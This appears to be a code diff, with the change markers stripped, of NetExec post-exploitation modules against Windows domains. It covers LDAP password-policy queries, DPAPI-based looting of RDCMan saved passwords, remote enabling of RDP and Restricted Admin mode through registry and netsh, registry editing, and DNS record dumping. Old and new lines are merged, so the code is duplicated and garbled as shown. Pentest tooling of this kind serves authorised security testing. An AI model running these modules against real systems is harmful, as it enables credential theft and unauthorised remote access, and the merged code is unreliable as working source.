Based on: https://github.com/juliourena/CrackMapExec/blob/master/cme/modules/get_description.py
"""
name = 'pso'
name = "pso"
description = "Query to get PSO from LDAP"
supported_protocols = ['ldap']
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
pso_fields = [
"cn",
"msDS-PasswordReversibleEncryptionEnabled",
@ -36,48 +32,37 @@ class NXCModule:
]
def options(self, context, module_options):
'''
No options available.
'''
pass
def convert_time_field(self, field, value):
time_fields = {
"msDS-LockoutObservationWindow": (60, "mins"),
"msDS-MinimumPasswordAge": (86400, "days"),
"msDS-MaximumPasswordAge": (86400, "days"),
"msDS-LockoutDuration": (60, "mins")
}
"""No options available."""
def convert_time_field(self, field, value):
time_fields = {"msDS-LockoutObservationWindow": (60, "mins"), "msDS-MinimumPasswordAge": (86400, "days"), "msDS-MaximumPasswordAge": (86400, "days"), "msDS-LockoutDuration": (60, "mins")}
if field in time_fields:
value = f"{int(fabs(float(value)) / (10000000 * time_fields[field][0]))} {time_fields[field][1]}"
if field in time_fields.keys():
value = f"{int((fabs(float(value)) / (10000000 * time_fields[field][0])))} {time_fields[field][1]}"
return value
def on_login(self, context, connection):
'''Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection'''
"""Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection"""
# Building the search filter
searchFilter = "(objectClass=msDS-PasswordSettings)"
search_filter = "(objectClass=msDS-PasswordSettings)"
try:
context.log.debug('Search Filter=%s' % searchFilter)
resp = connection.ldapConnection.search(searchFilter=searchFilter,
attributes=self.pso_fields,
sizeLimit=0)
context.log.debug(f"Search Filter={search_filter}")
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=self.pso_fields, sizeLimit=0)
except ldap_impacket.LDAPSearchError as e:
if e.getErrorString().find('sizeLimitExceeded') >= 0:
context.log.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
if e.getErrorString().find("sizeLimitExceeded") >= 0:
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
resp = e.getAnswers()
pass
else:
logging.debug(e)
context.log.debug(e)
return False
pso_list = []
context.log.debug('Total of records returned %d' % len(resp))
context.log.debug(f"Total of records returned {len(resp)}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
@ -85,25 +70,23 @@ class NXCModule:
pso_info = {}
try:
for attribute in item['attributes']:
attr_name = str(attribute['type'])
for attribute in item["attributes"]:
attr_name = str(attribute["type"])
if attr_name in self.pso_fields:
pso_info[attr_name] = attribute['vals'][0]._value.decode('utf-8')
pso_info[attr_name] = attribute["vals"][0]._value.decode("utf-8")
pso_list.append(pso_info)
except Exception as e:
context.log.debug("Exception:", exc_info=True)
context.log.debug('Skipping item, cannot process due to error %s' % str(e))
pass
context.log.debug(f"Skipping item, cannot process due to error {e}")
if len(pso_list) > 0:
context.log.success('Password Settings Objects (PSO) found:')
context.log.success("Password Settings Objects (PSO) found:")
for pso in pso_list:
for field in self.pso_fields:
if field in pso:
value = self.convert_time_field(field, pso[field])
context.log.highlight(u'{}: {}'.format(field, value))
context.log.highlight('-----')
context.log.highlight(f"{field}: {value}")
context.log.highlight("-----")
else:
context.log.info('No Password Settings Objects (PSO) found.')
context.log.info("No Password Settings Objects (PSO) found.")

View File

@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from dploot.triage.rdg import RDGTriage
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
from dploot.triage.backupkey import BackupkeyTriage
@ -26,11 +23,11 @@ class NXCModule:
self.masterkeys = None
if "PVK" in module_options:
self.pvkbytes = open(module_options["PVK"], "rb").read()
self.pvkbytes = open(module_options["PVK"], "rb").read() # noqa: SIM115
if "MKFILE" in module_options:
self.masterkeys = parse_masterkey_file(module_options["MKFILE"])
self.pvkbytes = open(module_options["MKFILE"], "rb").read()
self.pvkbytes = open(module_options["MKFILE"], "rb").read() # noqa: SIM115
def on_admin_login(self, context, connection):
host = connection.hostname + "." + connection.domain
@ -67,8 +64,7 @@ class NXCModule:
backupkey = backupkey_triage.triage_backupkey()
self.pvkbytes = backupkey.backupkey_v2
except Exception as e:
context.log.debug("Could not get domain backupkey: {}".format(e))
pass
context.log.debug(f"Could not get domain backupkey: {e}")
target = Target.create(
domain=domain,
@ -89,7 +85,7 @@ class NXCModule:
conn = DPLootSMBConnection(target)
conn.smb_session = connection.conn
except Exception as e:
context.log.debug("Could not upgrade connection: {}".format(e))
context.log.debug(f"Could not upgrade connection: {e}")
return
plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
@ -110,13 +106,13 @@ class NXCModule:
)
self.masterkeys = masterkeys_triage.triage_masterkeys()
except Exception as e:
context.log.debug("Could not get masterkeys: {}".format(e))
context.log.debug(f"Could not get masterkeys: {e}")
if len(self.masterkeys) == 0:
context.log.fail("No masterkeys looted")
return
context.log.success("Got {} decrypted masterkeys. Looting RDCMan secrets".format(highlight(len(self.masterkeys))))
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting RDCMan secrets")
try:
triage = RDGTriage(target=target, conn=conn, masterkeys=self.masterkeys)
@ -125,71 +121,17 @@ class NXCModule:
if rdcman_file is None:
continue
for rdg_cred in rdcman_file.rdg_creds:
if rdg_cred.type == "cred":
context.log.highlight(
"[%s][%s] %s:%s"
% (
rdcman_file.winuser,
rdg_cred.profile_name,
rdg_cred.username,
rdg_cred.password.decode("latin-1"),
)
)
elif rdg_cred.type == "logon":
context.log.highlight(
"[%s][%s] %s:%s"
% (
rdcman_file.winuser,
rdg_cred.profile_name,
rdg_cred.username,
rdg_cred.password.decode("latin-1"),
)
)
elif rdg_cred.type == "server":
context.log.highlight(
"[%s][%s] %s - %s:%s"
% (
rdcman_file.winuser,
rdg_cred.profile_name,
rdg_cred.server_name,
rdg_cred.username,
rdg_cred.password.decode("latin-1"),
)
)
if rdg_cred.type in ["cred", "logon", "server"]:
log_text = "{} - {}:{}".format(rdg_cred.server_name, rdg_cred.username, rdg_cred.password.decode("latin-1")) if rdg_cred.type == "server" else "{}:{}".format(rdg_cred.username, rdg_cred.password.decode("latin-1"))
context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
for rdgfile in rdgfiles:
if rdgfile is None:
continue
for rdg_cred in rdgfile.rdg_creds:
if rdg_cred.type == "cred":
context.log.highlight(
"[%s][%s] %s:%s"
% (
rdgfile.winuser,
rdg_cred.profile_name,
rdg_cred.username,
rdg_cred.password.decode("latin-1"),
)
)
elif rdg_cred.type == "logon":
context.log.highlight(
"[%s][%s] %s:%s"
% (
rdgfile.winuser,
rdg_cred.profile_name,
rdg_cred.username,
rdg_cred.password.decode("latin-1"),
)
)
elif rdg_cred.type == "server":
context.log.highlight(
"[%s][%s] %s - %s:%s"
% (
rdgfile.winuser,
rdg_cred.profile_name,
rdg_cred.server_name,
rdg_cred.username,
rdg_cred.password.decode("latin-1"),
)
)
log_text = "{}:{}".format(rdg_cred.username, rdg_cred.password.decode("latin-1"))
if rdg_cred.type == "server":
log_text = f"{rdg_cred.server_name} - {log_text}"
context.log.highlight(f"[{rdgfile.winuser}][{rdg_cred.profile_name}] {log_text}")
except Exception as e:
context.log.debug("Could not loot RDCMan secrets: {}".format(e))
context.log.debug(f"Could not loot RDCMan secrets: {e}")

View File

@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from sys import exit
from nxc.connection import dcom_FirewallChecker
@ -11,12 +8,13 @@ from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
import contextlib
class NXCModule:
name = "rdp"
description = "Enables/Disables RDP"
supported_protocols = ["smb" ,"wmi"]
supported_protocols = ["smb", "wmi"]
opsec_safe = True
multiple_hosts = True
@ -35,7 +33,7 @@ class NXCModule:
nxc smb 192.168.1.1 -u {user} -p {password} -M rdp -o METHOD=smb ACTION={enable, disable, enable-ram, disable-ram}
nxc smb 192.168.1.1 -u {user} -p {password} -M rdp -o METHOD=wmi ACTION={enable, disable, enable-ram, disable-ram} {OLD=true} {DCOM-TIMEOUT=5}
"""
if not "ACTION" in module_options:
if "ACTION" not in module_options:
context.log.fail("ACTION option not specified!")
exit(1)
@ -44,26 +42,26 @@ class NXCModule:
exit(1)
self.action = module_options["ACTION"].lower()
if not "METHOD" in module_options:
if "METHOD" not in module_options:
self.method = "wmi"
else:
self.method = module_options['METHOD'].lower()
self.method = module_options["METHOD"].lower()
if context.protocol != "smb" and self.method == "smb":
context.log.fail(f"Protocol: {context.protocol} not support this method")
exit(1)
if not "DCOM-TIMEOUT" in module_options:
if "DCOM-TIMEOUT" not in module_options:
self.dcom_timeout = 10
else:
try:
self.dcom_timeout = int(module_options['DCOM-TIMEOUT'])
except:
self.dcom_timeout = int(module_options["DCOM-TIMEOUT"])
except Exception:
context.log.fail("Wrong DCOM timeout value!")
exit(1)
if not "OLD" in module_options:
if "OLD" not in module_options:
self.oldSystem = False
else:
self.oldSystem = True
@ -73,136 +71,131 @@ class NXCModule:
if self.method == "smb":
context.log.info("Executing over SMB(ncacn_np)")
try:
smb_rdp = rdp_SMB(context, connection)
smb_rdp = RdpSmb(context, connection)
if "ram" in self.action:
smb_rdp.rdp_RAMWrapper(self.action)
smb_rdp.rdp_ram_wrapper(self.action)
else:
smb_rdp.rdp_Wrapper(self.action)
smb_rdp.rdp_wrapper(self.action)
except Exception as e:
context.log.fail(f"Enable RDP via smb error: {str(e)}")
context.log.fail(f"Enable RDP via smb error: {e!s}")
elif self.method == "wmi":
context.log.info("Executing over WMI(ncacn_ip_tcp)")
wmi_rdp = rdp_WMI(context, connection, self.dcom_timeout)
wmi_rdp = RdpWmi(context, connection, self.dcom_timeout)
if hasattr(wmi_rdp, '_rdp_WMI__iWbemLevel1Login'):
if hasattr(wmi_rdp, "_rdp_WMI__iWbemLevel1Login"):
if "ram" in self.action:
# Nt version under 6 not support RAM.
try:
wmi_rdp.rdp_RAMWrapper(self.action)
wmi_rdp.rdp_ram_wrapper(self.action)
except Exception as e:
if "WBEM_E_NOT_FOUND" in str(e):
context.log.fail("System version under NT6 not support restricted admin mode")
else:
context.log.fail(str(e))
pass
else:
try:
wmi_rdp.rdp_Wrapper(self.action, self.oldSystem)
wmi_rdp.rdp_wrapper(self.action, self.oldSystem)
except Exception as e:
if "WBEM_E_INVALID_NAMESPACE" in str(e):
context.log.fail('Looks like target system version is under NT6, please add "OLD=true" in module options.')
context.log.fail("Looks like target system version is under NT6, please add 'OLD=true' in module options.")
else:
context.log.fail(str(e))
pass
wmi_rdp._rdp_WMI__dcom.disconnect()
class rdp_SMB:
class RdpSmb:
def __init__(self, context, connection):
self.context = context
self.__smbconnection = connection.conn
self.__execute = connection.execute
self.logger = context.log
def rdp_Wrapper(self, action):
remoteOps = RemoteOperations(self.__smbconnection, False)
remoteOps.enableRegistry()
def rdp_wrapper(self, action):
remote_ops = RemoteOperations(self.__smbconnection, False)
remote_ops.enableRegistry()
if remoteOps._RemoteOperations__rrp:
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
regHandle = ans["phKey"]
if remote_ops._RemoteOperations__rrp:
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
remote_ops._RemoteOperations__rrp,
reg_handle,
"SYSTEM\\CurrentControlSet\\Control\\Terminal Server",
)
keyHandle = ans["phkResult"]
key_handle = ans["phkResult"]
ans = rrp.hBaseRegSetValue(
remoteOps._RemoteOperations__rrp,
keyHandle,
remote_ops._RemoteOperations__rrp,
key_handle,
"fDenyTSConnections",
rrp.REG_DWORD,
0 if action == "enable" else 1,
)
rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "fDenyTSConnections")
rtype, data = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "fDenyTSConnections")
if int(data) == 0:
self.logger.success("Enable RDP via SMB(ncacn_np) successfully")
elif int(data) == 1:
self.logger.success("Disable RDP via SMB(ncacn_np) successfully")
self.firewall_CMD(action)
self.firewall_cmd(action)
if action == "enable":
self.query_RDPPort(remoteOps, regHandle)
try:
remoteOps.finish()
except:
pass
self.query_rdp_port(remote_ops, reg_handle)
with contextlib.suppress(Exception):
remote_ops.finish()
def rdp_RAMWrapper(self, action):
remoteOps = RemoteOperations(self.__smbconnection, False)
remoteOps.enableRegistry()
def rdp_ram_wrapper(self, action):
remote_ops = RemoteOperations(self.__smbconnection, False)
remote_ops.enableRegistry()
if remoteOps._RemoteOperations__rrp:
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
regHandle = ans["phKey"]
if remote_ops._RemoteOperations__rrp:
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
remote_ops._RemoteOperations__rrp,
reg_handle,
"System\\CurrentControlSet\\Control\\Lsa",
)
keyHandle = ans["phkResult"]
key_handle = ans["phkResult"]
rrp.hBaseRegSetValue(
remoteOps._RemoteOperations__rrp,
keyHandle,
remote_ops._RemoteOperations__rrp,
key_handle,
"DisableRestrictedAdmin",
rrp.REG_DWORD,
0 if action == "enable-ram" else 1,
)
rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "DisableRestrictedAdmin")
rtype, data = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "DisableRestrictedAdmin")
if int(data) == 0:
self.logger.success("Enable RDP Restricted Admin Mode via SMB(ncacn_np) succeed")
elif int(data) == 1:
self.logger.success("Disable RDP Restricted Admin Mode via SMB(ncacn_np) succeed")
try:
remoteOps.finish()
except:
pass
with contextlib.suppress(Exception):
remote_ops.finish()
def query_RDPPort(self, remoteOps, regHandle):
def query_rdp_port(self, remoteOps, regHandle):
if remoteOps:
ans = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp",
)
keyHandle = ans["phkResult"]
key_handle = ans["phkResult"]
rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "PortNumber")
self.logger.success(f"RDP Port: {str(data)}")
rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, key_handle, "PortNumber")
self.logger.success(f"RDP Port: {data!s}")
# https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/manage/enable_rdp.rb
def firewall_CMD(self, action):
def firewall_cmd(self, action):
cmd = f"netsh firewall set service type = remotedesktop mode = {action}"
self.logger.info("Configure firewall via execute command.")
output = self.__execute(cmd, True)
@ -211,20 +204,21 @@ class rdp_SMB:
else:
self.logger.fail(f"{action.capitalize()} RDP firewall rules via cmd failed, maybe got detected by AV software.")
class rdp_WMI:
class RdpWmi:
def __init__(self, context, connection, timeout):
self.logger = context.log
self.__currentprotocol = context.protocol
# From dfscoerce.py
self.__username=connection.username
self.__password=connection.password
self.__domain=connection.domain
self.__lmhash=connection.lmhash
self.__nthash=connection.nthash
self.__target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
self.__doKerberos=connection.kerberos
self.__kdcHost=connection.kdcHost
self.__aesKey=connection.aesKey
self.__username = connection.username
self.__password = connection.password
self.__domain = connection.domain
self.__lmhash = connection.lmhash
self.__nthash = connection.nthash
self.__target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
self.__doKerberos = connection.kerberos
self.__kdcHost = connection.kdcHost
self.__aesKey = connection.aesKey
self.__timeout = timeout
try:
@ -241,102 +235,102 @@ class rdp_WMI:
kdcHost=self.__kdcHost,
)
iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
i_interface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
if self.__currentprotocol == "smb":
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__timeout)
flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__timeout)
if not flag or not self.__stringBinding:
error_msg = f'RDP-WMI: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the module option "DCOM-TIMEOUT=10". If it\'s still failing maybe something is blocking the RPC connection, please try to use "-o" with "METHOD=smb"'
if not self.__stringBinding:
error_msg = "RDP-WMI: Dcom initialization failed: can't get target stringbinding, maybe cause by IPv6 or any other issues, please check your target again"
self.logger.fail(error_msg) if not flag else self.logger.debug(error_msg)
# Make it force break function
self.__dcom.disconnect()
self.__iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
self.__iWbemLevel1Login = wmi.IWbemLevel1Login(i_interface)
except Exception as e:
self.logger.fail(f'Unexpected wmi error: {str(e)}, please try to use "-o" with "METHOD=smb"')
self.logger.fail(f'Unexpected wmi error: {e}, please try to use "-o" with "METHOD=smb"')
if self.__iWbemLevel1Login in locals():
self.__dcom.disconnect()
def rdp_Wrapper(self, action, old=False):
if old == False:
def rdp_wrapper(self, action, old=False):
if old is False:
# According to this document: https://learn.microsoft.com/en-us/windows/win32/termserv/win32-tslogonsetting
# Authentication level must set to RPC_C_AUTHN_LEVEL_PKT_PRIVACY when accessing namespace "//./root/cimv2/TerminalServices"
iWbemServices = self.__iWbemLevel1Login.NTLMLogin('//./root/cimv2/TerminalServices', NULL, NULL)
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
i_wbem_services = self.__iWbemLevel1Login.NTLMLogin("//./root/cimv2/TerminalServices", NULL, NULL)
i_wbem_services.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
self.__iWbemLevel1Login.RemRelease()
iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT * FROM Win32_TerminalServiceSetting")
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff,1)[0]
if action == 'enable':
i_enum_wbem_class_object = i_wbem_services.ExecQuery("SELECT * FROM Win32_TerminalServiceSetting")
i_wbem_class_object = i_enum_wbem_class_object.Next(0xFFFFFFFF, 1)[0]
if action == "enable":
self.logger.info("Enabled RDP services and setting up firewall.")
iWbemClassObject.SetAllowTSConnections(1,1)
elif action == 'disable':
i_wbem_class_object.SetAllowTSConnections(1, 1)
elif action == "disable":
self.logger.info("Disabled RDP services and setting up firewall.")
iWbemClassObject.SetAllowTSConnections(0,0)
i_wbem_class_object.SetAllowTSConnections(0, 0)
else:
iWbemServices = self.__iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
i_wbem_services = self.__iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
self.__iWbemLevel1Login.RemRelease()
iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT * FROM Win32_TerminalServiceSetting")
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff,1)[0]
if action == 'enable':
i_enum_wbem_class_object = i_wbem_services.ExecQuery("SELECT * FROM Win32_TerminalServiceSetting")
i_wbem_class_object = i_enum_wbem_class_object.Next(0xFFFFFFFF, 1)[0]
if action == "enable":
self.logger.info("Enabling RDP services (old system not support setting up firewall)")
iWbemClassObject.SetAllowTSConnections(1)
elif action == 'disable':
i_wbem_class_object.SetAllowTSConnections(1)
elif action == "disable":
self.logger.info("Disabling RDP services (old system not support setting up firewall)")
iWbemClassObject.SetAllowTSConnections(0)
self.query_RDPResult(old)
i_wbem_class_object.SetAllowTSConnections(0)
if action == 'enable':
self.query_RDPPort()
self.query_rdp_result(old)
if action == "enable":
self.query_rdp_port()
# Need to create new iWbemServices interface in order to flush results
def query_RDPResult(self, old=False):
if old == False:
iWbemServices = self.__iWbemLevel1Login.NTLMLogin('//./root/cimv2/TerminalServices', NULL, NULL)
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
def query_rdp_result(self, old=False):
if old is False:
i_wbem_services = self.__iWbemLevel1Login.NTLMLogin("//./root/cimv2/TerminalServices", NULL, NULL)
i_wbem_services.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
self.__iWbemLevel1Login.RemRelease()
iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT * FROM Win32_TerminalServiceSetting")
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff,1)[0]
result = dict(iWbemClassObject.getProperties())
result = result['AllowTSConnections']['value']
i_enum_wbem_class_object = i_wbem_services.ExecQuery("SELECT * FROM Win32_TerminalServiceSetting")
i_wbem_class_object = i_enum_wbem_class_object.Next(0xFFFFFFFF, 1)[0]
result = dict(i_wbem_class_object.getProperties())
result = result["AllowTSConnections"]["value"]
if result == 0:
self.logger.success("Disable RDP via WMI(ncacn_ip_tcp) successfully")
else:
self.logger.success("Enable RDP via WMI(ncacn_ip_tcp) successfully")
else:
iWbemServices = self.__iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
i_wbem_services = self.__iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
self.__iWbemLevel1Login.RemRelease()
iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT * FROM Win32_TerminalServiceSetting")
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff,1)[0]
result = dict(iWbemClassObject.getProperties())
result = result['AllowTSConnections']['value']
i_enum_wbem_class_object = i_wbem_services.ExecQuery("SELECT * FROM Win32_TerminalServiceSetting")
i_wbem_class_object = i_enum_wbem_class_object.Next(0xFFFFFFFF, 1)[0]
result = dict(i_wbem_class_object.getProperties())
result = result["AllowTSConnections"]["value"]
if result == 0:
self.logger.success("Disable RDP via WMI(ncacn_ip_tcp) successfully (old system)")
else:
self.logger.success("Enable RDP via WMI(ncacn_ip_tcp) successfully (old system)")
def query_RDPPort(self):
iWbemServices = self.__iWbemLevel1Login.NTLMLogin('//./root/DEFAULT', NULL, NULL)
def query_rdp_port(self):
i_wbem_services = self.__iWbemLevel1Login.NTLMLogin("//./root/DEFAULT", NULL, NULL)
self.__iWbemLevel1Login.RemRelease()
StdRegProv, resp = iWbemServices.GetObject("StdRegProv")
out = StdRegProv.GetDWORDValue(2147483650, 'SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp', 'PortNumber')
self.logger.success(f"RDP Port: {str(out.uValue)}")
std_reg_prov, resp = i_wbem_services.GetObject("StdRegProv")
out = std_reg_prov.GetDWORDValue(2147483650, "SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp", "PortNumber")
self.logger.success(f"RDP Port: {out.uValue!s}")
# Nt version under 6 not support RAM.
def rdp_RAMWrapper(self, action):
iWbemServices = self.__iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
def rdp_ram_wrapper(self, action):
i_wbem_services = self.__iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
self.__iWbemLevel1Login.RemRelease()
StdRegProv, resp = iWbemServices.GetObject("StdRegProv")
if action == 'enable-ram':
std_reg_prov, resp = i_wbem_services.GetObject("StdRegProv")
if action == "enable-ram":
self.logger.info("Enabling Restricted Admin Mode.")
StdRegProv.SetDWORDValue(2147483650, 'System\\CurrentControlSet\\Control\\Lsa', 'DisableRestrictedAdmin', 0)
elif action == 'disable-ram':
std_reg_prov.SetDWORDValue(2147483650, "System\\CurrentControlSet\\Control\\Lsa", "DisableRestrictedAdmin", 0)
elif action == "disable-ram":
self.logger.info("Disabling Restricted Admin Mode (Clear).")
StdRegProv.DeleteValue(2147483650, 'System\\CurrentControlSet\\Control\\Lsa', 'DisableRestrictedAdmin')
out = StdRegProv.GetDWORDValue(2147483650, 'System\\CurrentControlSet\\Control\\Lsa', 'DisableRestrictedAdmin')
std_reg_prov.DeleteValue(2147483650, "System\\CurrentControlSet\\Control\\Lsa", "DisableRestrictedAdmin")
out = std_reg_prov.GetDWORDValue(2147483650, "System\\CurrentControlSet\\Control\\Lsa", "DisableRestrictedAdmin")
if out.uValue == 0:
self.logger.success("Enable RDP Restricted Admin Mode via WMI(ncacn_ip_tcp) successfully")
elif out.uValue == None:
self.logger.success("Disable RDP Restricted Admin Mode via WMI(ncacn_ip_tcp) successfully")
elif out.uValue is None:
self.logger.success("Disable RDP Restricted Admin Mode via WMI(ncacn_ip_tcp) successfully")

View File

@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
@ -63,8 +60,8 @@ class NXCModule:
if "WORD" in self.type:
try:
self.value = int(self.value)
except:
context.log.fail(f"Invalid registry value type specified: {self.value}")
except Exception as e:
context.log.fail(f"Invalid registry value type specified: {self.value}: {e}")
return
if self.type in type_dict:
self.type = type_dict[self.type]
@ -112,8 +109,8 @@ class NXCModule:
try:
# Check if value exists
data_type, reg_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, self.key)
except:
self.context.log.fail(f"Registry key {self.key} does not exist")
except Exception as e:
self.context.log.fail(f"Registry key {self.key} does not exist: {e}")
return
# Delete value
rrp.hBaseRegDeleteValue(remote_ops._RemoteOperations__rrp, key_handle, self.key)
@ -135,7 +132,7 @@ class NXCModule:
self.value,
)
self.context.log.success(f"Key {self.key} has been modified to {self.value}")
except:
except Exception:
rrp.hBaseRegSetValue(
remote_ops._RemoteOperations__rrp,
key_handle,
@ -150,7 +147,7 @@ class NXCModule:
try:
data_type, reg_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, self.key)
self.context.log.highlight(f"{self.key}: {reg_value}")
except:
except Exception:
if self.delete:
pass
else:

View File

@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
class NXCModule:
name = "runasppl"
@ -21,6 +18,6 @@ class NXCModule:
context.log.display("Executing command")
p = connection.execute(command, True)
if "The system was unable to find the specified registry key or value" in p:
context.log.debug(f"Unable to find RunAsPPL Registry Key")
context.log.debug("Unable to find RunAsPPL Registry Key")
else:
context.log.highlight(p)

View File

@ -1,17 +1,18 @@
# Credit to https://twitter.com/snovvcrash/status/1550518555438891009
# Credit to https://github.com/dirkjanm/adidnsdump @_dirkjan
# module by @mpgn_x64
import re
from os.path import expanduser
import codecs
import socket
from builtins import str
from datetime import datetime
from struct import unpack
import dns.name
import dns.resolver
from impacket.ldap import ldap
from impacket.structure import Structure
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from ldap3 import LEVEL
@ -37,13 +38,13 @@ def get_dns_resolver(server, context):
server = server[8:]
socket.inet_aton(server)
dnsresolver.nameservers = [server]
except socket.error:
context.info("Using System DNS to resolve unknown entries. Make sure resolving your" " target domain works here or specify an IP as target host to use that" " server for queries")
except OSError:
context.info("Using System DNS to resolve unknown entries. Make sure resolving your target domain works here or specify an IP as target host to use that server for queries")
return dnsresolver
def ldap2domain(ldap):
return re.sub(",DC=", ".", ldap[ldap.lower().find("dc=") :], flags=re.I)[3:]
return re.sub(",DC=", ".", ldap[ldap.lower().find("dc="):], flags=re.I)[3:]
def new_record(rtype, serial):
@ -51,7 +52,7 @@ def new_record(rtype, serial):
nr["Type"] = rtype
nr["Serial"] = serial
nr["TtlSeconds"] = 180
# From authoritive zone
# From authoritative zone
nr["Rank"] = 240
return nr
@ -92,7 +93,6 @@ class NXCModule:
ALL Get DNS and IP (default: false)
ONLY_HOSTS Get DNS only (no ip) (default: false)
"""
self.showall = False
self.showhosts = False
self.showip = True
@ -115,29 +115,27 @@ class NXCModule:
def on_login(self, context, connection):
zone = ldap2domain(connection.baseDN)
dnsroot = "CN=MicrosoftDNS,DC=DomainDnsZones,%s" % connection.baseDN
searchtarget = "DC=%s,%s" % (zone, dnsroot)
dns_root = f"CN=MicrosoftDNS,DC=DomainDnsZones,{connection.baseDN}"
search_target = f"DC={zone},{dns_root}"
context.log.display("Querying zone for records")
sfilter = "(DC=*)"
try:
list_sites = connection.ldapConnection.search(
searchBase=searchtarget,
searchBase=search_target,
searchFilter=sfilter,
attributes=["dnsRecord", "dNSTombstoned", "name"],
sizeLimit=100000,
)
except ldap.LDAPSearchError as e:
if e.getErrorString().find("sizeLimitExceeded") >= 0:
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the" " data received")
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
list_sites = e.getAnswers()
pass
else:
raise
targetentry = None
dnsresolver = get_dns_resolver(connection.host, context.log)
get_dns_resolver(connection.host, context.log)
outdata = []
@ -168,7 +166,7 @@ class NXCModule:
{
"name": recordname,
"type": RECORD_TYPE_MAPPING[dr["Type"]],
"value": address[list(address.fields)[0]].toFqdn(),
"value": address[next(iter(address.fields))].toFqdn(),
}
)
elif dr["Type"] == 28:
@ -182,19 +180,19 @@ class NXCModule:
}
)
context.log.highlight("Found %d records" % len(outdata))
path = expanduser("~/.nxc/logs/{}_network_{}.log".format(connection.domain, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
context.log.highlight(f"Found {len(outdata)} records")
path = expanduser(f"~/.nxc/logs/{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
